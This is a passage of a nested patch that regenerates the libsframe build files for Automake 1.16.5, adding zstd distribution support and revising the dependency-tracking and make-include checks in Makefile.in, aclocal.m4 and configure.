+ tardir=$(distdir) && $(am__tar) | XZ_OPT=$${XZ_OPT--e} xz -c >$(distdir).tar.xz
+ $(am__post_remove_distdir)
+
++dist-zstd: distdir
++ tardir=$(distdir) && $(am__tar) | zstd -c $${ZSTD_CLEVEL-$${ZSTD_OPT--19}} >$(distdir).tar.zst
++ $(am__post_remove_distdir)
++
+ dist-tarZ: distdir
+ @echo WARNING: "Support for distribution archives compressed with" \
+ "legacy program 'compress' is deprecated." >&2
+@@ -1267,6 +1299,8 @@ distcheck: dist
+ eval GZIP= gzip $(GZIP_ENV) -dc $(distdir).shar.gz | unshar ;;\
+ *.zip*) \
+ unzip $(distdir).zip ;;\
++ *.tar.zst*) \
++ zstd -dc $(distdir).tar.zst | $(am__untar) ;;\
+ esac
+ chmod -R a-w $(distdir)
+ chmod u+w $(distdir)
+@@ -1282,7 +1316,7 @@ distcheck: dist
+ $(DISTCHECK_CONFIGURE_FLAGS) \
+ --srcdir=../.. --prefix="$$dc_install_base" \
+ && $(MAKE) $(AM_MAKEFLAGS) \
+- && $(MAKE) $(AM_MAKEFLAGS) dvi \
++ && $(MAKE) $(AM_MAKEFLAGS) $(AM_DISTCHECK_DVI_TARGET) \
+ && $(MAKE) $(AM_MAKEFLAGS) check \
+ && $(MAKE) $(AM_MAKEFLAGS) install \
+ && $(MAKE) $(AM_MAKEFLAGS) installcheck \
+@@ -1338,6 +1372,8 @@ check-am: all-am
+ $(MAKE) $(AM_MAKEFLAGS) check-DEJAGNU
+ check: check-am
+ all-am: Makefile $(INFO_DEPS) $(LTLIBRARIES) $(HEADERS) config.h
++install-checkPROGRAMS: install-libLTLIBRARIES
++
+ installdirs:
+ for dir in "$(DESTDIR)$(libdir)" "$(DESTDIR)$(infodir)" "$(DESTDIR)$(includedir)"; do \
+ test -z "$$dir" || $(MKDIR_P) "$$dir"; \
+@@ -1390,7 +1426,16 @@ clean-am: clean-aminfo clean-checkPROGRAMS clean-generic \
+
+ distclean: distclean-am
+ -rm -f $(am__CONFIG_DISTCLEAN_FILES)
+- -rm -rf ./$(DEPDIR) testsuite/libsframe.decode/$(DEPDIR) testsuite/libsframe.encode/$(DEPDIR) testsuite/libsframe.find/$(DEPDIR)
++ -rm -f ./$(DEPDIR)/libsframe_la-sframe-dump.Plo
++ -rm -f ./$(DEPDIR)/libsframe_la-sframe-error.Plo
++ -rm -f ./$(DEPDIR)/libsframe_la-sframe.Plo
++ -rm -f testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Po
++ -rm -f testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Po
++ -rm -f testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Po
++ -rm -f testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Po
++ -rm -f testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Po
++ -rm -f testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Po
++ -rm -f testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Po
+ -rm -f Makefile
+ distclean-am: clean-am distclean-DEJAGNU distclean-compile \
+ distclean-generic distclean-hdr distclean-libtool \
+@@ -1530,7 +1575,16 @@ installcheck-am:
+ maintainer-clean: maintainer-clean-am
+ -rm -f $(am__CONFIG_DISTCLEAN_FILES)
+ -rm -rf $(top_srcdir)/autom4te.cache
+- -rm -rf ./$(DEPDIR) testsuite/libsframe.decode/$(DEPDIR) testsuite/libsframe.encode/$(DEPDIR) testsuite/libsframe.find/$(DEPDIR)
++ -rm -f ./$(DEPDIR)/libsframe_la-sframe-dump.Plo
++ -rm -f ./$(DEPDIR)/libsframe_la-sframe-error.Plo
++ -rm -f ./$(DEPDIR)/libsframe_la-sframe.Plo
++ -rm -f testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Po
++ -rm -f testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Po
++ -rm -f testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Po
++ -rm -f testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Po
++ -rm -f testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Po
++ -rm -f testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Po
++ -rm -f testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Po
+ -rm -f Makefile
+ maintainer-clean-am: distclean-am maintainer-clean-aminfo \
+ maintainer-clean-generic
+@@ -1554,28 +1608,28 @@ uninstall-am: uninstall-dvi-am uninstall-html-am \
+
+ .MAKE: all check-am install-am install-strip
+
+-.PHONY: CTAGS GTAGS TAGS all all-am am--refresh check check-DEJAGNU \
+- check-am clean clean-aminfo clean-checkPROGRAMS clean-cscope \
+- clean-generic clean-libLTLIBRARIES clean-libtool \
++.PHONY: CTAGS GTAGS TAGS all all-am am--depfiles am--refresh check \
++ check-DEJAGNU check-am clean clean-aminfo clean-checkPROGRAMS \
++ clean-cscope clean-generic clean-libLTLIBRARIES clean-libtool \
+ clean-noinstLTLIBRARIES cscope cscopelist-am ctags ctags-am \
+ dist dist-all dist-bzip2 dist-gzip dist-info dist-lzip \
+- dist-shar dist-tarZ dist-xz dist-zip distcheck distclean \
+- distclean-DEJAGNU distclean-compile distclean-generic \
+- distclean-hdr distclean-libtool distclean-tags distcleancheck \
+- distdir distuninstallcheck dvi dvi-am html html-am html-local \
+- info info-am install install-am install-data install-data-am \
+- install-dvi install-dvi-am install-exec install-exec-am \
+- install-html install-html-am install-includeHEADERS \
+- install-info install-info-am install-libLTLIBRARIES \
+- install-man install-pdf install-pdf-am install-ps \
+- install-ps-am install-strip installcheck installcheck-am \
+- installdirs maintainer-clean maintainer-clean-aminfo \
+- maintainer-clean-generic mostlyclean mostlyclean-aminfo \
+- mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
+- pdf pdf-am ps ps-am tags tags-am uninstall uninstall-am \
+- uninstall-dvi-am uninstall-html-am uninstall-includeHEADERS \
+- uninstall-info-am uninstall-libLTLIBRARIES uninstall-pdf-am \
+- uninstall-ps-am
++ dist-shar dist-tarZ dist-xz dist-zip dist-zstd distcheck \
++ distclean distclean-DEJAGNU distclean-compile \
++ distclean-generic distclean-hdr distclean-libtool \
++ distclean-tags distcleancheck distdir distuninstallcheck dvi \
++ dvi-am html html-am html-local info info-am install install-am \
++ install-data install-data-am install-dvi install-dvi-am \
++ install-exec install-exec-am install-html install-html-am \
++ install-includeHEADERS install-info install-info-am \
++ install-libLTLIBRARIES install-man install-pdf install-pdf-am \
++ install-ps install-ps-am install-strip installcheck \
++ installcheck-am installdirs maintainer-clean \
++ maintainer-clean-aminfo maintainer-clean-generic mostlyclean \
++ mostlyclean-aminfo mostlyclean-compile mostlyclean-generic \
++ mostlyclean-libtool pdf pdf-am ps ps-am tags tags-am uninstall \
++ uninstall-am uninstall-dvi-am uninstall-html-am \
++ uninstall-includeHEADERS uninstall-info-am \
++ uninstall-libLTLIBRARIES uninstall-pdf-am uninstall-ps-am
+
+ .PRECIOUS: Makefile
+
+diff --git a/libsframe/aclocal.m4 b/libsframe/aclocal.m4
+index b0cdd6b184d..c83d4f62ece 100644
+--- a/libsframe/aclocal.m4
++++ b/libsframe/aclocal.m4
+@@ -1,6 +1,6 @@
+-# generated automatically by aclocal 1.15.1 -*- Autoconf -*-
++# generated automatically by aclocal 1.16.5 -*- Autoconf -*-
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -20,7 +20,7 @@ You have another version of autoconf. It may work, but is not guaranteed to.
+ If you have problems, you may need to regenerate the build system entirely.
+ To do so, use the procedure documented by the package, typically 'autoreconf'.])])
+
+-# Copyright (C) 2002-2017 Free Software Foundation, Inc.
++# Copyright (C) 2002-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -32,10 +32,10 @@ To do so, use the procedure documented by the package, typically 'autoreconf'.])
+ # generated from the m4 files accompanying Automake X.Y.
+ # (This private macro should not be called outside this file.)
+ AC_DEFUN([AM_AUTOMAKE_VERSION],
+-[am__api_version='1.15'
++[am__api_version='1.16'
+ dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
+ dnl require some minimum version. Point them to the right macro.
+-m4_if([$1], [1.15.1], [],
++m4_if([$1], [1.16.5], [],
+ [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
+ ])
+
+@@ -51,12 +51,12 @@ m4_define([_AM_AUTOCONF_VERSION], [])
+ # Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
+ # This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
+ AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
+-[AM_AUTOMAKE_VERSION([1.15.1])dnl
++[AM_AUTOMAKE_VERSION([1.16.5])dnl
+ m4_ifndef([AC_AUTOCONF_VERSION],
+ [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
+ _AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
+
+-# Copyright (C) 2011-2017 Free Software Foundation, Inc.
++# Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -118,7 +118,7 @@ AC_SUBST([AR])dnl
+
+ # AM_AUX_DIR_EXPAND -*- Autoconf -*-
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -170,7 +170,7 @@ am_aux_dir=`cd "$ac_aux_dir" && pwd`
+
+ # AM_CONDITIONAL -*- Autoconf -*-
+
+-# Copyright (C) 1997-2017 Free Software Foundation, Inc.
++# Copyright (C) 1997-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -201,7 +201,7 @@ AC_CONFIG_COMMANDS_PRE(
+ Usually this means the macro was only invoked conditionally.]])
+ fi])])
+
+-# Copyright (C) 1999-2017 Free Software Foundation, Inc.
++# Copyright (C) 1999-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -392,13 +392,12 @@ _AM_SUBST_NOTMAKE([am__nodep])dnl
+
+ # Generate code to set up dependency tracking. -*- Autoconf -*-
+
+-# Copyright (C) 1999-2017 Free Software Foundation, Inc.
++# Copyright (C) 1999-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+ # with or without modifications, as long as this notice is preserved.
+
+-
+ # _AM_OUTPUT_DEPENDENCY_COMMANDS
+ # ------------------------------
+ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
+@@ -406,49 +405,43 @@ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
+ # Older Autoconf quotes --file arguments for eval, but not when files
+ # are listed without --file. Let's play safe and only enable the eval
+ # if we detect the quoting.
+- case $CONFIG_FILES in
+- *\'*) eval set x "$CONFIG_FILES" ;;
+- *) set x $CONFIG_FILES ;;
+- esac
++ # TODO: see whether this extra hack can be removed once we start
++ # requiring Autoconf 2.70 or later.
++ AS_CASE([$CONFIG_FILES],
++ [*\'*], [eval set x "$CONFIG_FILES"],
++ [*], [set x $CONFIG_FILES])
+ shift
+- for mf
++ # Used to flag and report bootstrapping failures.
++ am_rc=0
++ for am_mf
+ do
+ # Strip MF so we end up with the name of the file.
+- mf=`echo "$mf" | sed -e 's/:.*$//'`
+- # Check whether this is an Automake generated Makefile or not.
+- # We used to match only the files named 'Makefile.in', but
+- # some people rename them; so instead we look at the file content.
+- # Grep'ing the first line is not enough: some people post-process
+- # each Makefile.in and add a new line on top of each file to say so.
+- # Grep'ing the whole file is not good either: AIX grep has a line
++ am_mf=`AS_ECHO(["$am_mf"]) | sed -e 's/:.*$//'`
++ # Check whether this is an Automake generated Makefile which includes
++ # dependency-tracking related rules and includes.
++ # Grep'ing the whole file directly is not great: AIX grep has a line
+ # limit of 2048, but all sed's we know have understand at least 4000.
+- if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then
+- dirpart=`AS_DIRNAME("$mf")`
+- else
+- continue
+- fi
+- # Extract the definition of DEPDIR, am__include, and am__quote
+- # from the Makefile without running 'make'.
+- DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"`
+- test -z "$DEPDIR" && continue
+- am__include=`sed -n 's/^am__include = //p' < "$mf"`
+- test -z "$am__include" && continue
+- am__quote=`sed -n 's/^am__quote = //p' < "$mf"`
+- # Find all dependency output files, they are included files with
+- # $(DEPDIR) in their names. We invoke sed twice because it is the
+- # simplest approach to changing $(DEPDIR) to its actual value in the
+- # expansion.
+- for file in `sed -n "
+- s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \
+- sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g'`; do
+- # Make sure the directory exists.
+- test -f "$dirpart/$file" && continue
+- fdir=`AS_DIRNAME(["$file"])`
+- AS_MKDIR_P([$dirpart/$fdir])
+- # echo "creating $dirpart/$file"
+- echo '# dummy' > "$dirpart/$file"
+- done
++ sed -n 's,^am--depfiles:.*,X,p' "$am_mf" | grep X >/dev/null 2>&1 \
++ || continue
++ am_dirpart=`AS_DIRNAME(["$am_mf"])`
++ am_filepart=`AS_BASENAME(["$am_mf"])`
++ AM_RUN_LOG([cd "$am_dirpart" \
++ && sed -e '/# am--include-marker/d' "$am_filepart" \
++ | $MAKE -f - am--depfiles]) || am_rc=$?
+ done
++ if test $am_rc -ne 0; then
++ AC_MSG_FAILURE([Something went wrong bootstrapping makefile fragments
++ for automatic dependency tracking. If GNU make was not used, consider
++ re-running the configure script with MAKE="gmake" (or whatever is
++ necessary). You can also try re-running configure with the
++ '--disable-dependency-tracking' option to at least be able to build
++ the package (albeit without support for automatic dependency tracking).])
++ fi
++ AS_UNSET([am_dirpart])
++ AS_UNSET([am_filepart])
++ AS_UNSET([am_mf])
++ AS_UNSET([am_rc])
++ rm -f conftest-deps.mk
+ }
+ ])# _AM_OUTPUT_DEPENDENCY_COMMANDS
+
+@@ -457,18 +450,17 @@ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
+ # -----------------------------
+ # This macro should only be invoked once -- use via AC_REQUIRE.
+ #
+-# This code is only required when automatic dependency tracking
+-# is enabled. FIXME. This creates each '.P' file that we will
+-# need in order to bootstrap the dependency handling code.
++# This code is only required when automatic dependency tracking is enabled.
++# This creates each '.Po' and '.Plo' makefile fragment that we'll need in
++# order to bootstrap the dependency handling code.
+ AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS],
+ [AC_CONFIG_COMMANDS([depfiles],
+ [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS],
+- [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"])
+-])
++ [AMDEP_TRUE="$AMDEP_TRUE" MAKE="${MAKE-make}"])])
+
+ # Do all the work for Automake. -*- Autoconf -*-
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -496,6 +488,10 @@ m4_defn([AC_PROG_CC])
+ # release and drop the old call support.
+ AC_DEFUN([AM_INIT_AUTOMAKE],
+ [AC_PREREQ([2.65])dnl
++m4_ifdef([_$0_ALREADY_INIT],
++ [m4_fatal([$0 expanded multiple times
++]m4_defn([_$0_ALREADY_INIT]))],
++ [m4_define([_$0_ALREADY_INIT], m4_expansion_stack)])dnl
+ dnl Autoconf wants to disallow AM_ names. We explicitly allow
+ dnl the ones we care about.
+ m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl
+@@ -532,7 +528,7 @@ m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl
+ [_AM_SET_OPTIONS([$1])dnl
+ dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT.
+ m4_if(
+- m4_ifdef([AC_PACKAGE_NAME], [ok]):m4_ifdef([AC_PACKAGE_VERSION], [ok]),
++ m4_ifset([AC_PACKAGE_NAME], [ok]):m4_ifset([AC_PACKAGE_VERSION], [ok]),
+ [ok:ok],,
+ [m4_fatal([AC_INIT should be called with package and version arguments])])dnl
+ AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl
+@@ -555,8 +551,8 @@ AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl
+ AC_REQUIRE([AC_PROG_MKDIR_P])dnl
+ # For better backward compatibility. To be removed once Automake 1.9.x
+ # dies out for good. For more background, see:
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
+ AC_SUBST([mkdir_p], ['$(MKDIR_P)'])
+ # We need awk for the "check" target (and possibly the TAP driver). The
+ # system "awk" is bad on some platforms.
+@@ -584,6 +580,20 @@ AC_PROVIDE_IFELSE([AC_PROG_OBJCXX],
+ [m4_define([AC_PROG_OBJCXX],
+ m4_defn([AC_PROG_OBJCXX])[_AM_DEPENDENCIES([OBJCXX])])])dnl
+ ])
++# Variables for tags utilities; see am/tags.am
++if test -z "$CTAGS"; then
++ CTAGS=ctags
++fi
++AC_SUBST([CTAGS])
++if test -z "$ETAGS"; then
++ ETAGS=etags
++fi
++AC_SUBST([ETAGS])
++if test -z "$CSCOPE"; then
++ CSCOPE=cscope
++fi
++AC_SUBST([CSCOPE])
++
+ AC_REQUIRE([AM_SILENT_RULES])dnl
+ dnl The testsuite driver may need to know about EXEEXT, so add the
+ dnl 'am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This
+@@ -623,7 +633,7 @@ END
+ Aborting the configuration process, to ensure you take notice of the issue.
+
+ You can download and install GNU coreutils to get an 'rm' implementation
+-that behaves properly: <http://www.gnu.org/software/coreutils/>.
++that behaves properly: <https://www.gnu.org/software/coreutils/>.
+
+ If you want to complete the configuration process using your problematic
+ 'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM
+@@ -665,7 +675,7 @@ for _am_header in $config_headers :; do
+ done
+ echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count])
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -689,7 +699,7 @@ AC_SUBST([install_sh])])
+ # Add --enable-maintainer-mode option to configure. -*- Autoconf -*-
+ # From Jim Meyering
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -724,7 +734,7 @@ AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles])
+
+ # Check to see how 'make' treats includes. -*- Autoconf -*-
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -732,49 +742,42 @@ AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles])
+
+ # AM_MAKE_INCLUDE()
+ # -----------------
+-# Check to see how make treats includes.
++# Check whether make has an 'include' directive that can support all
++# the idioms we need for our automatic dependency tracking code.
+ AC_DEFUN([AM_MAKE_INCLUDE],
+-[am_make=${MAKE-make}
+-cat > confinc << 'END'
++[AC_MSG_CHECKING([whether ${MAKE-make} supports the include directive])
++cat > confinc.mk << 'END'
+ am__doit:
+- @echo this is the am__doit target
++ @echo this is the am__doit target >confinc.out
+ .PHONY: am__doit
+ END
+-# If we don't find an include directive, just comment out the code.
+-AC_MSG_CHECKING([for style of include used by $am_make])
+ am__include="#"
+ am__quote=
+-_am_result=none
+-# First try GNU make style include.
+-echo "include confinc" > confmf
+-# Ignore all kinds of additional output from 'make'.
+-case `$am_make -s -f confmf 2> /dev/null` in #(
+-*the\ am__doit\ target*)
+- am__include=include
+- am__quote=
+- _am_result=GNU
+- ;;
+-esac
+-# Now try BSD make style include.
+-if test "$am__include" = "#"; then
+- echo '.include "confinc"' > confmf
+- case `$am_make -s -f confmf 2> /dev/null` in #(
+- *the\ am__doit\ target*)
+- am__include=.include
+- am__quote="\""
+- _am_result=BSD
+- ;;
+- esac
+-fi
+-AC_SUBST([am__include])
+-AC_SUBST([am__quote])
+-AC_MSG_RESULT([$_am_result])
+-rm -f confinc confmf
+-])
++# BSD make does it like this.
++echo '.include "confinc.mk" # ignored' > confmf.BSD
++# Other make implementations (GNU, Solaris 10, AIX) do it like this.
++echo 'include confinc.mk # ignored' > confmf.GNU
++_am_result=no
++for s in GNU BSD; do
++ AM_RUN_LOG([${MAKE-make} -f confmf.$s && cat confinc.out])
++ AS_CASE([$?:`cat confinc.out 2>/dev/null`],
++ ['0:this is the am__doit target'],
++ [AS_CASE([$s],
++ [BSD], [am__include='.include' am__quote='"'],
++ [am__include='include' am__quote=''])])
++ if test "$am__include" != "#"; then
++ _am_result="yes ($s style)"
++ break
++ fi
++done
++rm -f confinc.* confmf.*
++AC_MSG_RESULT([${_am_result}])
++AC_SUBST([am__include])])
++AC_SUBST([am__quote])])
+
+ # Fake the existence of programs that GNU maintainers use. -*- Autoconf -*-
+
+-# Copyright (C) 1997-2017 Free Software Foundation, Inc.
++# Copyright (C) 1997-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -795,12 +798,7 @@ AC_DEFUN([AM_MISSING_HAS_RUN],
+ [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+ AC_REQUIRE_AUX_FILE([missing])dnl
+ if test x"${MISSING+set}" != xset; then
+- case $am_aux_dir in
+- *\ * | *\ *)
+- MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;;
+- *)
+- MISSING="\${SHELL} $am_aux_dir/missing" ;;
+- esac
++ MISSING="\${SHELL} '$am_aux_dir/missing'"
+ fi
+ # Use eval to expand $SHELL
+ if eval "$MISSING --is-lightweight"; then
+@@ -813,7 +811,7 @@ fi
+
+ # Helper functions for option handling. -*- Autoconf -*-
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -842,7 +840,7 @@ AC_DEFUN([_AM_SET_OPTIONS],
+ AC_DEFUN([_AM_IF_OPTION],
+ [m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])])
+
+-# Copyright (C) 1999-2017 Free Software Foundation, Inc.
++# Copyright (C) 1999-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -889,7 +887,7 @@ AC_LANG_POP([C])])
+ # For backward compatibility.
+ AC_DEFUN_ONCE([AM_PROG_CC_C_O], [AC_REQUIRE([AC_PROG_CC])])
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -908,7 +906,7 @@ AC_DEFUN([AM_RUN_LOG],
+
+ # Check to make sure that the build environment is sane. -*- Autoconf -*-
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -989,7 +987,7 @@ AC_CONFIG_COMMANDS_PRE(
+ rm -f conftest.file
+ ])
+
+-# Copyright (C) 2009-2017 Free Software Foundation, Inc.
++# Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -1049,7 +1047,7 @@ AC_SUBST([AM_BACKSLASH])dnl
+ _AM_SUBST_NOTMAKE([AM_BACKSLASH])dnl
+ ])
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -1077,7 +1075,7 @@ fi
+ INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s"
+ AC_SUBST([INSTALL_STRIP_PROGRAM])])
+
+-# Copyright (C) 2006-2017 Free Software Foundation, Inc.
++# Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -1096,7 +1094,7 @@ AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)])
+
+ # Check how to create a tarball. -*- Autoconf -*-
+
+-# Copyright (C) 2004-2017 Free Software Foundation, Inc.
++# Copyright (C) 2004-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+diff --git a/libsframe/configure b/libsframe/configure
+index 1d9e5e10695..a234c4815b1 100755
+--- a/libsframe/configure
++++ b/libsframe/configure
+@@ -658,6 +658,8 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -682,6 +684,9 @@ AM_BACKSLASH
+ AM_DEFAULT_VERBOSITY
+ AM_DEFAULT_V
+ AM_V
++CSCOPE
++ETAGS
++CTAGS
+ am__fastdepCC_FALSE
+ am__fastdepCC_TRUE
+ CCDEPMODE
+@@ -689,7 +694,6 @@ am__nodep
+ AMDEPBACKSLASH
+ AMDEP_FALSE
+ AMDEP_TRUE
+-am__quote
+ am__include
+ DEPDIR
+ am__untar
+@@ -762,7 +766,8 @@ PACKAGE_VERSION
+ PACKAGE_TARNAME
+ PACKAGE_NAME
+ PATH_SEPARATOR
+-SHELL'
++SHELL
++am__quote'
+ ac_subst_files=''
+ ac_user_opts='
+ enable_option_checking
+@@ -773,6 +778,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_largefile
+ enable_maintainer_mode
+@@ -1428,6 +1434,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -3610,7 +3618,7 @@ $as_echo "$ac_cv_safe_to_define___extensions__" >&6; }
+ $as_echo "#define _TANDEM_SOURCE 1" >>confdefs.h
+
+
+-am__api_version='1.15'
++am__api_version='1.16'
+
+ # Find a good install program. We prefer a C program (faster),
+ # so one script is as good as another. But avoid the broken or
+@@ -3783,12 +3791,7 @@ ac_script='s/[\\$]/&&/g;s/;s,x,x,$//'
+ program_transform_name=`$as_echo "$program_transform_name" | sed "$ac_script"`
+
+ if test x"${MISSING+set}" != xset; then
+- case $am_aux_dir in
+- *\ * | *\ *)
+- MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;;
+- *)
+- MISSING="\${SHELL} $am_aux_dir/missing" ;;
+- esac
++ MISSING="\${SHELL} '$am_aux_dir/missing'"
+ fi
+ # Use eval to expand $SHELL
+ if eval "$MISSING --is-lightweight"; then
+@@ -4036,45 +4039,45 @@ DEPDIR="${am__leading_dot}deps"
+
+ ac_config_commands="$ac_config_commands depfiles"
+
+-
+-am_make=${MAKE-make}
+-cat > confinc << 'END'
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} supports the include directive" >&5
++$as_echo_n "checking whether ${MAKE-make} supports the include directive... " >&6; }
++cat > confinc.mk << 'END'
+ am__doit:
+- @echo this is the am__doit target
++ @echo this is the am__doit target >confinc.out
+ .PHONY: am__doit
+ END
+-# If we don't find an include directive, just comment out the code.
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for style of include used by $am_make" >&5
+-$as_echo_n "checking for style of include used by $am_make... " >&6; }
+ am__include="#"
+ am__quote=
+-_am_result=none
+-# First try GNU make style include.
+-echo "include confinc" > confmf
+-# Ignore all kinds of additional output from 'make'.
+-case `$am_make -s -f confmf 2> /dev/null` in #(
+-*the\ am__doit\ target*)
+- am__include=include
+- am__quote=
+- _am_result=GNU
+- ;;
+-esac
+-# Now try BSD make style include.
+-if test "$am__include" = "#"; then
+- echo '.include "confinc"' > confmf
+- case `$am_make -s -f confmf 2> /dev/null` in #(
+- *the\ am__doit\ target*)
+- am__include=.include
+- am__quote="\""
+- _am_result=BSD
++# BSD make does it like this.
